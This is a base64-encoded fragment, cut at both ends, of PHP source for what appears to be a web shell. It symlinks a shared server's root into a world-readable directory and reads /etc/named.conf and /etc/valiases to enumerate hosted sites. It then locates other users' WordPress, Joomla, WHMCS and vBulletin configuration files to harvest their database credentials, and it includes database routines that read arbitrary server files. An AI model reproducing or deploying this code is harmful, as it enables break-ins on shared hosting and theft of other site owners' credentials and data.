CAgDQogICAgJFQxID0gKCgoKCRDaGVjazEgJiAweDNDMCkgPDwgNCkgfCAoJENoZWNrMSAmIDB4M0MpKSA8PDIgKSB8ICgkQ2hlY2syICYgMHhGMEYgKTsgDQogICAgJFQyID0gKCgoKCRDaGVjazEgJiAweEZGRkZDMDAwKSA8PCA0KSB8ICgkQ2hlY2sxICYgMHgzQzAwKSkgPDwgMHhBKSB8ICgkQ2hlY2syICYgMHhGMEYwMDAwICk7IA0KICAgIA0KICAgIHJldHVybiAoJFQxIHwgJFQyKTsgDQp9IA0KDQovLy0tPiBmb3IgZ29vZ2xlIHBhZ2VyYW5rIA0KLyogDQoqIGdlbmVhcmF0ZSBhIGNoZWNrc3VtIGZvciB0aGUgaGFzaCBzdHJpbmcgDQoqLyANCmZ1bmN0aW9uIENoZWNrSGFzaCgkSGFzaG51bSkgDQp7IA0KICAgICRDaGVja0J5dGUgPSAwOyANCiAgICAkRmxhZyA9IDA7IA0KDQogICAgJEhhc2hTdHIgPSBzcHJpbnRmKCcldScsICRIYXNobnVtKSA7IA0KICAgICRsZW5ndGggPSBzdHJsZW4oJEhhc2hTdHIpOyANCiAgICANCiAgICBmb3IgKCRpID0gJGxlbmd0aCAtIDE7ICAkaSA+PSAwOyAgJGkgLS0pIHsgDQogICAgICAgICRSZSA9ICRIYXNoU3RyeyRpfTsgDQogICAgICAgIGlmICgxID09PSAoJEZsYWcgJSAyKSkgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAkUmUgKz0gJFJlOyAgICAgIA0KICAgICAgICAgICAgJFJlID0gKGludCkoJFJlIC8gMTApICsgKCRSZSAlIDEwKTsgDQogICAgICAgIH0gDQogICAgICAgICRDaGVja0J5dGUgKz0gJFJlOyANCiAgICAgICAgJEZsYWcgKys7ICAgIA0KICAgIH0gDQoNCiAgICAkQ2hlY2tCeXRlICU9IDEwOyANCiAgICBpZiAoMCAhPT0gJENoZWNrQnl0ZSkgeyANCiAgICAgICAgJENoZWNrQnl0ZSA9IDEwIC0gJENoZWNrQnl0ZTsgDQogICAgICAgIGlmICgxID09PSAoJEZsYWcgJSAyKSApIHsgDQogICAgICAgICAgICBpZiAoMSA9PT0gKCRDaGVja0J5dGUgJSAyKSkgeyANCiAgICAgICAgICAgICAgICAkQ2hlY2tCeXRlICs9IDk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRDaGVja0J5dGUgPj49IDE7IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICByZXR1cm4gJzcnLiRDaGVja0J5dGUuJEhhc2hTdHI7IA0KfSANCg0KZnVuY3Rpb24gZmlsZV9nZXRfY29udGVudHNfY3VybCgkdXJsKSB7IA0KICAgICRjaCA9IGN1cmxfaW5pdCgpOyANCiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsgDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgLy9TZXQgY3VybCB0byByZXR1cm4gdGhlIGRhdGEgaW5zdGVhZCBvZiBwcmludGluZyBpdCB0byB0aGUgYnJvd3Nlci4gDQogICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7IA0KICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7IA0KICAgIGN1cmxfY2xvc2UoJGNoKTsgDQoNCiAgICByZXR1cm4gJGRhdGE7IA0KfSANCg0KLy9nZXQgZ29vZ2xlIHBhZ2VyYW5rIA0KZnVuY3Rpb24gZ2V0cGFnZXJhbmsoJHVybCkgeyANCiAgICAkcXVlcnk9Imh0dHA6Ly90b29sYmFycXVlcmllcy5nb29nbGUuY29tL3Ricj9jbGllbnQ9bmF2Y2xpZW50LWF1dG8maGw9ZW4mY2g9Ii5DaGVja0hhc2goSGFzaFVSTCgkdXJsKSkuICImZmVhdHVyZXM9UmFuayZxPWluZm86Ii4kdXJsLiImbnVtPTEwMCZmaWx0ZXI9MCI7IA0KICAgICRkYXRhPWZpbGVfZ2V0X2NvbnRlbnRzX2N1cmwoJHF1ZXJ5KTsgDQogICAgLy9wcmludF9yKCRkYXRhKTsgDQogICAgJHBvcyA9IHN0cnBvcygkZGF0YSwgIlJhbmtfIik7IA0KICAgIGlmKCRwb3MgPT09IGZhbHNlKXt9IGVsc2V7IA0KICAgICAgICAkcGFnZXJhbmsgPSBzdWJzdHIoJGRhdGEsICRwb3MgKyA5KTsgDQogICAgICAgIHJldHVybiAkcGFnZXJhbms7IA0KICAgIH0gDQp9IA0KDQovL1BhZ2VyYW5rDQogIA0KICAgICAgICANCkBta2Rpcignc3ltJywwNzc3KTsNCiRJSUlJSUlJSUlJbDEgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiRJSUlJSUlJSUlJMUkgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpmd3JpdGUoJElJSUlJSUlJSUkxSSAsJElJSUlJSUlJSUlsMSk7DQpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQokSUlJSUlJSUlJbElsID0gYmFzZW5hbWUoJ19GSUxFXycpOw0KICAgIA0KICAgIA0KJElJSUlJSUlJSWxsSSA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsNCmlmKCEkSUlJSUlJSUlJbGxJKQ0Kew0KZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IA0KfQ0KZWxzZQ0Kew0KZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dGQ+RG9tYWluczwvdGQ+PHRkPlVzZXJzPC90ZD48dGQ+c3ltbGluayA8L3RkPjx0ZD5QYWdlcmFuazwvdGQ+IjsNCmZvcmVhY2goJElJSUlJSUlJSWxsSSBhcyAkSUlJSUlJSUlJbGwxKXsNCmlmKEBlcmVnaSgnem9uZScsJElJSUlJSUlJSWxsMSkpew0KcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRJSUlJSUlJSUlsbDEsJElJSUlJSUlJSWwxMSk7DQpmbHVzaCgpOw0KaWYoc3RybGVuKHRyaW0oJElJSUlJSUlJSWwxMVsxXVswXSkpID4yKXsNCiRJSUlJSUlJSUkxSTEgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJElJSUlJSUlJSWwxMVsxXVswXSkpOw0KJElJSUlJSUlJMUkxbCA9ICRJSUlJSUlJSUkxSTFbJ25hbWUnXSA7DQpAc3ltbGluaygnLycsJ3N5bS9yb290Jyk7DQokSUlJSUlJSUkxSTFsID0gJElJSUlJSUlJSWwxMVsxXVswXTsNCiRJSUlJSUlJSTFJMTEgPSAnXC5pcic7DQokSUlJSUlJSUkxbElJID0gJ1wuaWwnOw0KaWYgKEBlcmVnaSgiJElJSUlJSUlJMUkxMSIsJElJSUlJSUlJSWwxMVsxXVswXSkgb3IgQGVyZWdpKCIkSUlJSUlJSUkxbElJIiwkSUlJSUlJSUlJbDExWzFdWzBdKSApDQp7DQokSUlJSUlJSUkxSTFsID0gIjxkaXYgc3R5bGU9JyBjb2xvcjogI0ZGMDAwMCA7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCByZWQ7ICc+Ii4kSUlJSUlJSUlJbDExWzFdWzBdLic8L2Rpdj4nOw0KfQ0KJHByID0gZ2V0cGFnZXJhbmsoJElJSUlJSUlJSWwxMVsxXVswXSk7DQppZigkcHI9PSIiKXsNCiRwciA9ICIwIjsNCn1lbHNlaWYoJHByPj00KXsNCiRwciA9ICc8Zm9udCBjb2xvcj0icmVkIj48Yj4nLiRwci4nPC9iPjwvZm9udD4nOw0KfQ0KZWNobyAiDQo8dHI+DQoNCjx0ZD4NCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPWh0dHA6Ly93d3cuIi4kSUlJSUlJSUlJbDExWzFdWzBdLicvPicuJElJSUlJSUlJMUkxbC4nIDwvYT4NCjwvdGQ+DQoNCjx0ZD4NCicuJElJSUlJSUlJSTFJMVsnbmFtZSddLiINCjwvdGQ+DQoNCjx0ZD4NCjxhIGhyZWY9J3N5bS9yb290L2hvbWUvIi4kSUlJSUlJSUlJMUkxWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbmsgPC9hPg0KPC90ZD4NCjx0ZD4iLiRwci4iPC90ZD4NCg0KPC90cj4iOw0KZmx1c2goKTsNCn0NCn0NCn0NCn0NCiAgICANCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsgICAgDQogICAgDQogfQ0KIA0KIA0KIA0KIGlmKGlzc2V0KCRfUE9TVFsncDMnXSkgJiYgJF9QT1NUWydwMyddPT0nY29uZmlnJykNCiANCiANCiB7DQogIGVjaG8gIjxjZW50ZXI+IjsNCkBta2Rpcignc3ltJywwNzc3KTsNCiRJSUlJSUlJSUlJbDEgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsNCiRJSUlJSUlJSUlJMUkgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7DQpAZndyaXRlKCRJSUlJSUlJSUlJMUkgLCRJSUlJSUlJSUlJbDEpOw0KQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOw0KJElJSUlJSUlJSWxJbCA9IGJhc2VuYW1lKCdfRklMRV8nKTsNCiAgDQogICANCiAgICRJSUlJSUlJSUlsbEkgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7DQppZighJElJSUlJSUlJSWxsSSkNCnsNCmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IyBDYW50IGFjY2VzcyB0aGlzIGZpbGUgb24gc2VydmVyIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF08L3ByZT48L2NlbnRlcj4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAiDQo8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzQwJScgY2xhc3M9J21haW4nID48dGQ+IERvbWFpbnMgPC90ZD48dGQ+IFNjcmlwdCA8L3RkPiI7DQpmb3JlYWNoKCRJSUlJSUlJSUlsbEkgYXMgJElJSUlJSUlJSWxsMSl7DQppZihAZXJlZ2koJ3pvbmUnLCRJSUlJSUlJSUlsbDEpKXsNCnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkSUlJSUlJSUlJbGwxLCRJSUlJSUlJSUlsMTEpOw0KZmx1c2goKTsNCmlmKHN0cmxlbih0cmltKCRJSUlJSUlJSUlsMTFbMV1bMF0pKSA+Mil7DQokSUlJSUlJSUlJMUkxID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcignL2V0Yy92YWxpYXNlcy8nLiRJSUlJSUlJSUlsMTFbMV1bMF0pKTsNCiRJSUlJSUlJSUkxbDE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJzsNCiRJSUlJSUlJSUkxMUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJSTFsMSk7DQokSUlJSUlJSUlJMTFsPSRJSUlJSUlJSUkxMUlbMF07DQokSUlJSUlJSUlJMTExPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsNCiRJSUlJSUlJSWxJSUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJSTExMSk7DQokSUlJSUlJSUlsSUlsPSRJSUlJSUlJSWxJSUlbMF07DQokSUlJSUlJSUlsSUkxPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnOw0KJElJSUlJSUlJbElsST1nZXRfaGVhZGVycygkSUlJSUlJSUlsSUkxKTsNCiRJSUlJSUlJSWxJbGw9JElJSUlJSUlJbElsSVswXTsNCiRJSUlJSUlJSWxJbDE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnOw0KJElJSUlJSUlJbEkxST1nZXRfaGVhZGVycygkSUlJSUlJSUlsSWwxKTsNCiRJSUlJSUlJSWxJMWw9JElJSUlJSUlJbEkxSVswXTsNCiRJSUlJSUlJSWxJMTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsNCiRJSUlJSUlJSWxsSUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbEkxMSk7DQokSUlJSUlJSUlsbElsPSRJSUlJSUlJSWxsSUlbMF07DQokSUlJSUlJSUlsbEkxPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCc7DQokSUlJSUlJSUlsbGxJPWdldF9oZWFkZXJzKCRJSUlJSUlJSWxsSTEpOw0KJElJSUlJSUlJbGxsbD0kSUlJSUlJSUlsbGxJWzBdOw0KJElJSUlJSUlJbGxsMT0kSUlJSUlJSUlJSUlsLicvc3ltL3Jvb3QvaG9tZS8nLiRJSUlJSUlJSUkxSTFbJ25hbWUnXS4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnOw0KJElJSUlJSUlJbGwxST1nZXRfaGVhZGVycygkSUlJSUlJSUlsbGwxKTsNCiRJSUlJSUlJSWxsMWw9JElJSUlJSUlJbGwxSVswXTsNCiRJSUlJSUlJSWxsMTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOw0KJElJSUlJSUlJbDFJST1nZXRfaGVhZGVycygkSUlJSUlJSUlsbDExKTsNCiRJSUlJSUlJSWwxSWw9JElJSUlJSUlJbDFJSVswXTsNCiRJSUlJSUlJSWwxSTE9JElJSUlJSUlJSUlJbC4nL3N5bS9yb290L2hvbWUvJy4kSUlJSUlJSUlJMUkxWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiRJSUlJSUlJSWwxSUk9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbDFJMSk7DQokSUlJSUlJSUlsMWxJPSRJSUlJSUlJSWwxSUlbMF07DQokSUlJSUlJSUlsMWxsPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsNCiRJSUlJSUlJSWwxbDE9Z2V0X2hlYWRlcnMoJElJSUlJSUlJbDFsbCk7DQokSUlJSUlJSUlsMTFJPSRJSUlJSUlJSWwxbDFbMF07DQokSUlJSUlJSUlsMTFsPSRJSUlJSUlJSUlJSWwuJy9zeW0vcm9vdC9ob21lLycuJElJSUlJSUlJSTFJMVsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7DQokSUlJSUlJSUlsMTExPWdldF9oZWFkZXJzKCRJSUlJSUlJSWwxMWwpOw0KJElJSUlJSUlJMUlJST0kSUlJSUlJSUlsMTExWzBdOw0KJElJSUlJSUlJMUlJbD0kSUlJSUlJSUlJSUlsLicvc3ltL3Jvb3QvaG9tZS8nLiRJSUlJSUlJSUkxSTFbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7DQokSUlJSUlJSUkxSUkxPWdldF9oZWFkZXJzKCRJSUlJSUlJSTFJSWwpOw0KJElJSUlJSUlJMUlsST0kSUlJSUlJSUkxSUkxWzBdOw0KJElJSUlJSUlJMUlsbCA9IHN0cnBvcygkSUlJSUlJSUlJMTFsLCcyMDAnKTsNCiRJSUlJSUlJSTFJMUk9JyZuYnNwOyc7DQppZiAoc3RycG9zKCRJSUlJSUlJSUkxMWwsJzIwMCcpID09IHRydWUgKQ0Kew0KJElJSUlJSUlJMUkxST0iPGEgaHJlZj0nIi4kSUlJSUlJSUlJMWwxLiInIHRhcmdldD0nX2JsYW5rJz5Xb3JkcHJlc3M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxJSWwsJzIwMCcpID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJPSI8YSBocmVmPSciLiRJSUlJSUlJSUkxMTEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbElsbCwnMjAwJykgID09IHRydWUgYW5kIHN0cnBvcygkSUlJSUlJSUkxSUlJLCcyMDAnKSAgPT0gdHJ1ZSApDQp7DQokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsMTFsLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbDFsSSwnMjAwJykgID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJID0iIDxhIGhyZWY9JyIuJElJSUlJSUlJbDFJMS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWwxMUksJzIwMCcpICA9PSB0cnVlKQ0Kew0KJElJSUlJSUlJMUkxSSA9IiA8YSBocmVmPSciLiRJSUlJSUlJSWwxbGwuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkSUlJSUlJSUlsSWxsLCcyMDAnKSAgPT0gdHJ1ZSkNCnsNCiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxJSTEuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbEkxbCwnMjAwJykgID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsSWwxLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRJSUlJSUlJSWxsSWwsJzIwMCcpICA9PSB0cnVlKQ0Kew0KJElJSUlJSUlJMUkxST0iIDxhIGhyZWY9JyIuJElJSUlJSUlJbEkxMS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkSUlJSUlJSUlsbGxsLCcyMDAnKSAgPT0gdHJ1ZSkNCnsNCiRJSUlJSUlJSTFJMUk9IiA8YSBocmVmPSciLiRJSUlJSUlJSWxsSTEuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJElJSUlJSUlJbGwxbCwnMjAwJykgID09IHRydWUpDQp7DQokSUlJSUlJSUkxSTFJPSIgPGEgaHJlZj0nIi4kSUlJSUlJSUlsbGwxLiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCmVsc2UNCnsNCmNvbnRpbnVlOw0KfQ0KJElJSUlJSUlJMUkxbCA9ICRJSUlJSUlJSUkxSTFbJ25hbWUnXSA7DQplY2hvICc8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4nLiRJSUlJSUlJSUlsMTFbMV1bMF0uJy8+Jy4kSUlJSUlJSUlJbDExWzFdWzBdLic8L2E+PC90ZD4NCjx0ZD4nLiRJSUlJSUlJSTFJMUkuJzwvdGQ+PC90cj4nO2ZsdXNoKCk7DQp9DQp9DQp9DQp9DQplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7ICAgDQogICAgDQogfQ0KICAgIA0KICAgIGVjaG8gIjwvZGl2PiI7DQogICAgbWFkZm9vdGVyKCk7DQogICAgDQp9ICAgIA0KDQoNCmZ1bmN0aW9uIG1hZHNxbCgpDQp7DQogICAgDQogICAgDQogICAgY2xhc3MgRGJDbGFzcyB7DQoJCXZhciAkdHlwZTsNCgkJdmFyICRsaW5rOw0KCQl2YXIgJHJlczsNCgkJZnVuY3Rpb24gRGJDbGFzcygkdHlwZSkJew0KCQkJJHRoaXMtPnR5cGUgPSAkdHlwZTsNCgkJfQ0KCQlmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcyx0cnVlKSApIHJldHVybiB0cnVlOw0KCQkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSRob3N0ID0gZXhwbG9kZSgnOicsICRob3N0KTsNCgkJCQkJaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOw0KCQkJCQlpZiggJHRoaXMtPmxpbmsgPSBAcGdfY29ubmVjdCgiaG9zdD17JGhvc3RbMF19IHBvcnQ9eyRob3N0WzFdfSB1c2VyPSR1c2VyIHBhc3N3b3JkPSRwYXNzIGRibmFtZT0kZGJuYW1lIikgKSByZXR1cm4gdHJ1ZTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIHF1ZXJ5KCRzdHIpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkgew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxfcXVlcnkoJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSBAcGdfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGZldGNoKCkgew0KCQkJJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuIEBteXNxbF9mZXRjaF9hc3NvYygkcmVzKTsNCgkJCQkJYnJlYWs7DQoJCQkJY2FzZSAncGdzcWwnOg0KCQkJCQlyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KCQkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBsaXN0RGJzKCkgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIFdIRVJFIGRhdGlzdGVtcGxhdGUhPSd0JyIpOw0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCWZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBlcnJvcigpIHsNCgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJew0KCQkJCWNhc2UgJ215c3FsJzoNCgkJCQkJcmV0dXJuIEBteXNxbF9lcnJvcigpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gc2V0Q2hhcnNldCgkc3RyKSB7DQoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsNCgkJCQljYXNlICdteXNxbCc6DQoJCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkNCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOw0KCQkJCQllbHNlDQoJCQkJCQkkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQoJCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsNCgkJCQkJYnJlYWs7DQoJCQl9DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCgkJZnVuY3Rpb24gbG9hZEZpbGUoJHN0cikgew0KCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7DQoJCQkJY2FzZSAnbXlzcWwnOg0KCQkJCQlyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOw0KCQkJCQkkcj1hcnJheSgpOw0KCQkJCQl3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkNCgkJCQkJCSRyW10gPSAkaVsnZmlsZSddOw0KCQkJCQkkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOw0KCQkJCQlyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsNCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSwgJGZwID0gZmFsc2UpIHsNCgkJCXN3aXRjaCgkdGhpc